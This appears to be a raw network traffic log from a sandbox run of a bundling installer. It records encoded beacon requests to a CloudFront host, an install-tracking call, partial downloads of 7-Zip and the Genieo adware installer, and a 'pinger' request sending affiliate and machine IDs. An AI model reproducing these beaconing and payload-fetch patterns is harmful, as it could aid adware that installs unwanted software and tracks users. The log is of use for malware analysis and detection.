X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:57 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: d1If_hVIJrnDleZBs8Q2i9SGh7tJ0k9Te4de5KiSVrrAk1dDBY7QZA==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilG6nyHpDS4bOY4G r 3F6T7H7pKsXVuis88 KcWSiy /2tEQoG17P7tYpb spL69FdcbuyjMlr5C9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMyuE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZLGLAfTrAj6o= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:08 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 1W_PGOqT23MQ46I7oY9YHRGeIm4h5dwymiOsu4CnWw6Ma41-fE_i9w==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilH2vh7hk0cgBBQC drCF7eFGvGaf/td2AvO7beQ5yJE1ItX z kBM18bMPO4Hl2XHOoh 03ARIl sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffLvMskXURCzrc1AUpN3cv8q3zHqQRjik21pePrvX0eh8Donn6 l9Ew= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:08 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: CoR6Sn0I2cGDobqJ6PxCrTzcc4IcCfqy8sXxIK0TL_RyT2cFpDbsFw==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGp5hhmFUu/wdCUHeR8YCF3HIVD2kslcMDwqofAqjkOQ/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIlo1g2wztNZ5dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeHEbeUrrG4lg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:57 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: VQJIlFzVoUX_id3ZDOoS1YKh-AaMwG7VrqMf9ijOBYs1azKDOzxHyg==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGSr4DTw5uXZI4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMrhOrI7ufq4FE8nd B8zyXMKlr69zlJAit74VReywqQWSxiwH06wI q HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:09 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: S2wnESF4ZdN13Ce-IOzWCs3Lo8KfvSdsnzyrc1j4PIliwbNaylCf8w==
....


GET /21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERKbvoGA4XsmV4XCb9CiaQyu0JQd5HxgIXf46OoQvinCN9FInQ/3aUB0hvdqivECN yHV1LMlp88b6eEsn81noLJjYhcnCVtRQ 3pbZbEWnWARD9BVsk40bmx4ABUCsqm0puvaNfs0YIq ns4WS9HyHR4nwc6PiZLfgIE7jpNROtzDm81F21dSoQ1V4Hek0AV9mn0FiVjXc3ENVeB3pNAFfZhngPKyfI04xX2w3GuEsAbyztZqn9Yn 2BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLVsX5xTGf2n1NoyGqz0C5tb1jMdSA82QgIkh5vx8m4RUvXgNHItgY0A/NrfOEITMy HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ki07ilBOweY370yv9eUn2tlf0UYo5DmqPLgj_DXr2NNi76YdIo5Sww==
....


GET /21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERLciXFAHp4HlL1HtSmBYQHI0JQd5HxgIXdABmFtdiJe0RFBvYhjCj9O4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: zlDOiRHd1-ATH0vzMildE-6ow2lWpMAC01MPr1GvJ0hwcrFSAtEstw==
....


GET /21074.ashx?e=j7YMo/n29XMVCZIctrluXpVvxobzfh8z/grZOB60hz54E7mrr1h80jmXqQawsZSOUA7dl9owwhJBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1P77DGVW/zPIku8xZXzyRdbCX1FtTkCv6XJj4nqCRCCle333RAvM0VMCx2KlVs8m8LqSlVGmgAnwDDNmmGug8UNz4r4Sza48LkfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIlo1g2wztNZ5dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeHEbeUrrG4lg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: lSXjTBqRdkwdzRs3Sxe-dkkiOqIi5rsqrZ9GNPVj7h1wcaMqpFu54g==
....


GET /21074.ashx?e=KSz5qzb2KgIHmSWm27gjw4xXl6h7wlThoTOTuZNeMFD8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7TXvHUkMUSkH3bwyJuwJoGyeY/e3xqcYNzjbxIkPSG0LntO0hfxvipXLS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqcl/Ws PcA i2e 30EIiBCCYhSK4oI05rb38XFohDsSs4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net

GET /21074.ashx?e=KC46TpkJIZw1/83fHx/k oxXl6h7wlThveej kzSR338ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7TXvHUkMUSkH3bwyJuwJoGyeY/e3xqcYNzjbxIkPSG0L1SjMNztE99LKl6yrhyfrOiGQmEP2wPcgs IILilpWF0zwh6 kBmZAkaR 1i1roGx4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:10 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: A-fSi92izN-IfGAhTfzr_OxrjNls8_4lHNIAEAGiZCqaynHy2QsMJg==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:10 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: A-fSi92izN-IfGAhTfzr_Oxrj
Nls8_4lHNIAEAGiZCqaynHy2QsMJg==..HTTP/1.1 200 OK..Content-Length: 0..C
onnection: keep-alive..Cache-Control: private, no-store..Server: Micro
soft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date
: Sat, 14 Feb 2015 03:58:00 GMT..X-Cache: Miss from cloudfront..Via: 1
.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: LGH5ZwzkKPUUdgqcrP1TR2E-dIeNT18ey8eNZjEWSBtbVWmIhULSEg==..nt>....


GET /21074.ashx?e=k64GogClQtXHiNdSCLSbRx1EyVQcGKtmQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB2iZCCrzprTQVjr4IQgU6/03VTKOu38TtLPiCC4paVhdQW0QLiFfYl12K9rRzWJ3HioE61g3AUaSxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:00 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: O2CrD2xhBTvdqSxU1gJBp7aEyfMmk5IuHdCcA-g6DL44la7AgS-49Q==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:00 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: O2CrD2xhBTvdqSxU1gJBp7aEy
fMmk5IuHdCcA-g6DL44la7AgS-49Q==......


GET /21074.ashx?e=LCnUzM5l8JJqYAUAeKhUK86iZAPgIqyK7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6pb GEwPiedNIwNlMFOpV0Sjs1eJiiYYwojgb6v7cXpPu7w RGhL4bCV24GJNKQQ3n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozK4TqyO7n6uBRPJ3fgfM8lzCpa vc5SQIre FUXssKkFksYsB9OsCPqg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ok59wzb_agJxUqsa5QDgWbziYforsDaX2jl_2IlHa8dDk0CJk_lWtg==
....


GET /21074.ashx?e=LCnUzM5l8JJqYAUAeKhUK86iZAPgIqyK7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6pb GEwPiedNIoPfCrfVvRJhQC drCF7eFW4i9HDfAHxSn58ZndcT3u/P8mddpznAd5QFz/uOguqr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:01 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: iF8SSTsy0ngXpAnEyxHjiuMOd6IAjat7rDK7WL8HwOM6OLQoDV18xw==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:01 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: iF8SSTsy0ngXpAnEyxHjiuMOd
6IAjat7rDK7WL8HwOM6OLQoDV18xw==......


GET /21074.ashx?e=yhrBLBbZM9VXzPC13FVNqoxXl6h7wlThxIxKnrRLLMH8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7TXvHUkMUSkH3bwyJuwJoGyeY/e3xqcYNzjbxIkPSG0LYXcJcN2x8HCa0xTW5cEyjJtJHrqyQTdaFAL52sIXt4WKH9ligQJ6aWE3k2r1sLHgyjwE5JpZyhPWl3SkZAlkUSa /s063GNQgTM gosjwGjstyGccrEswun1wxOHdTMpoeLyUnxlnriM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUtbrNUWUt1Lv5Kni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yz HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:07 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 1JzPATWlgGmVD283KRKruJgv-1CJlpggfGjqptHgSvUJqc-SVdHY9g==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:07 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 1JzPATWlgGmVD283KRKruJgv-
1CJlpggfGjqptHgSvUJqc-SVdHY9g==......


GET /21074.ashx?e=p9HAq5TtKa/HiNdSCLSbRwiu d pc45zQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB3rHUqT9uqiBQI8HtM9wp5Tx0cXu7AB1uimF904v4t2DIApimWCrqamBaL9XcwWiqIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:21 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: IlXzsdj3-G3e1a1twLMKTW-NNE_WMAizuvcSIDNgWexYbP4-ihb0wA==
....


GET /21074.ashx?e=aQQpsP6/AW3U0UsIWSR1jauaEVQSfvLn7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p72zIVN1UN1xQAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:21 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: XqAPG1yNtYl6AolNDhAaQuIcUHx4DR_eAyED6d_2KUMtiRbjUq_UKw==



GET /v4/searchprotect/267123711_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Sat, 14 Feb 2015 04:01:18 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.91 ms","message":"store 4 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Sat, 14 Feb 201
5 04:01:18 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.91 ms","message":"store 4 act
ion and 0 update "}..0..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=555240-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 04:01:12 GMT
Content-Type: application/octet-stream
Content-Length: 555236
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=864857-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: eVNMALjX6cminbawrS1UyFa9dpLADpynXsN8ucfKZbMl1zSK3uxCHncWQfGSMZ9x
x-amz-request-id: B654389772281422
Date: Sat, 14 Feb 2015 03:58:20 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 864857-988407/988408
Content-Type: application/octet-stream
Content-Length: 123551
Server: AmazonS3
7f..]....|.5...[HZ-.....{\..Y......?...DQ....5Wp.!./...,LGv....- .....
.zw..x..B%9{..#....x.. Rp..by....KZ...k.t..y......8*.<.........L.d.
[email protected]..,...}..l....g....s.6*...".....F..f&.0.p..-....q....UN..
...^...-S.3.....@ /2.;......v.(.#....2.......Z.un....:....U.J4.......l
.....S.........Y....".W.1..r.-.!./.a.......v....6.......l..a.!.^.;..8.
t.]qeq..u..7'/..I.fEd.m....ij....L..R..$......0..1O.......D.C.........
n...^...eC~...>ec...xU?4......Y-s.F...y,..cM.....'.b.w-..z>U....
 .9.K.!4..y..&N...Y..$...R*........b....V....\6l...H..`.{.....4.Z.....
.X?.q.2Y.D..J.Z.z..~..p.JP(...v.#..P...._ ....G.s $..x[.e..$<V!....
h...I.h9O%,....R'S..F...*.G......I.Sp.1]....#|K.G..S........."=.XZ....
9.......S.DR..)9..x....:.....$......=....n.....{.J.......I..[..VLm.6l.
!=..Q.v.....f*....".)>..D.1......t..:9.....d5.).y|w..Z.(.=~....2Ix.
.o_;..........'..J.2Ds.!q.v.-.....#."..iq.:1A[d...]....,....-(.^Q..R.&
gt;..-=...[=.M.c...%.\hu.t...M...h.WC:r......|x)....[~k.[....d......@F
....X.....*..7YQ..Kai.m7.....Y...D.2.o.P......(J&>z..\[email protected]
#r`o.h.....c)y...=.x..%...%...A_.r.Po...}.........Uq...V.r....i.m].!..
.)d.....I..R.$..)*..V.z..O.).n.15.qP.]t.9..'.J2y..9?..S.....4C....a..%
.I....?g...5..M..cy.....o...........<...P.S3c.M../[=u.#.g.m.V._H=..
...E.>U.R..3"..u.|j.n..\...r*.....o.b...;.j\.H......g#..S........hv
..<..H!.(.......q.g .....Bc..u.E......./5.Qo....j....@^......J.....
_=.Iy..K.`.W..E.t...m.w.K..[<..e*.g(.T.fD=.........xeD.g....&.._.b.
.Lc.zvkn.Q.O..0NI...~.5.b%k...**.f...sk..)z[.0..JY.u:lJ?...'.M~.k.
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=2&index_in_screen=1&index_in_session=2&0.5691190955500126 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
